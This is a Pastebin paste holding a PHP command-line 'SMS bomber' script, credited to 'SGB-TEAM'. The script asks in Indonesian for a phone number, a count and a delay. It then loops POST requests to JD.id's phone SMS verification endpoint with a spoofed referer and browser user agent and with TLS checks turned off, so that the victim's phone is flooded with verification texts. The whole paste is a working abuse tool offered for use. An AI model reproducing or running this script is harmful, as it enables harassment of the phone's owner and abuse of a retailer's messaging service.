Advertisement
Guest User

rmjdid

a guest
Jun 19th, 2018
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.81 KB | None | 0 0
  1. <?php
  2. function jdidbom($no, $jum, $wait){
  3. $x = 0;
  4. while($x < $jum) {
  5. $ch = curl_init();
  6. curl_setopt($ch, CURLOPT_URL,"http://sc.jd.id/phone/sendPhoneSms");
  7. curl_setopt($ch, CURLOPT_POST, 1);
  8. curl_setopt($ch, CURLOPT_POSTFIELDS,"phone=".$no."&smsType=1");
  9. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  10. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  11. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  12. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  13. curl_setopt($ch, CURLOPT_REFERER, 'http://sc.jd.id/phone/bindingPhone.html');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36');
  15. $server_output = curl_exec ($ch);
  16. curl_close ($ch);
  17. echo $server_output."\n";
  18. sleep($wait);
  19. $x++;
  20. flush();
  21. }
  22. }
  23. print "===================================================\n";
  24. print " _____ ______ _____ _____ _____ ___ ___ ___\n";
  25. print "| __ \| ___/ ___| |_ _| ___|/ _ \ | \/ |\n";
  26. print "| | \/| |_ \ `--. ______| | | |__ / /_\ \| . . |\n";
  27. print "| | __ | _| `--. \______| | | __|| _ || |\/| |\n";
  28. print "| |_\ \| | /\__/ / | | | |___| | | || | | |\n";
  29. print " \____/\_| \____/ \_/ \____/\_| |_/\_| |_/\n";
  30. print "===================================================\n";
  31. print " Thx For SGB-TEAM And All Member SGB TEAM\n";
  32. print "===================================================\n";
  33. echo "Nomor? (ex : 8xxxx)\nInput : ";
  34. $nomor = trim(fgets(STDIN));
  35. echo "Jumlah?\nInput : ";
  36. $jumlah = trim(fgets(STDIN));
  37. echo "Jeda? 0-9999999999 (ex:0)\nInput : ";
  38. $jeda = trim(fgets(STDIN));
  39. $execute = jdidbom($nomor, $jumlah, $jeda);
  40. print $execute;
  41. print "DONE ALL SEND\n";
  42. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement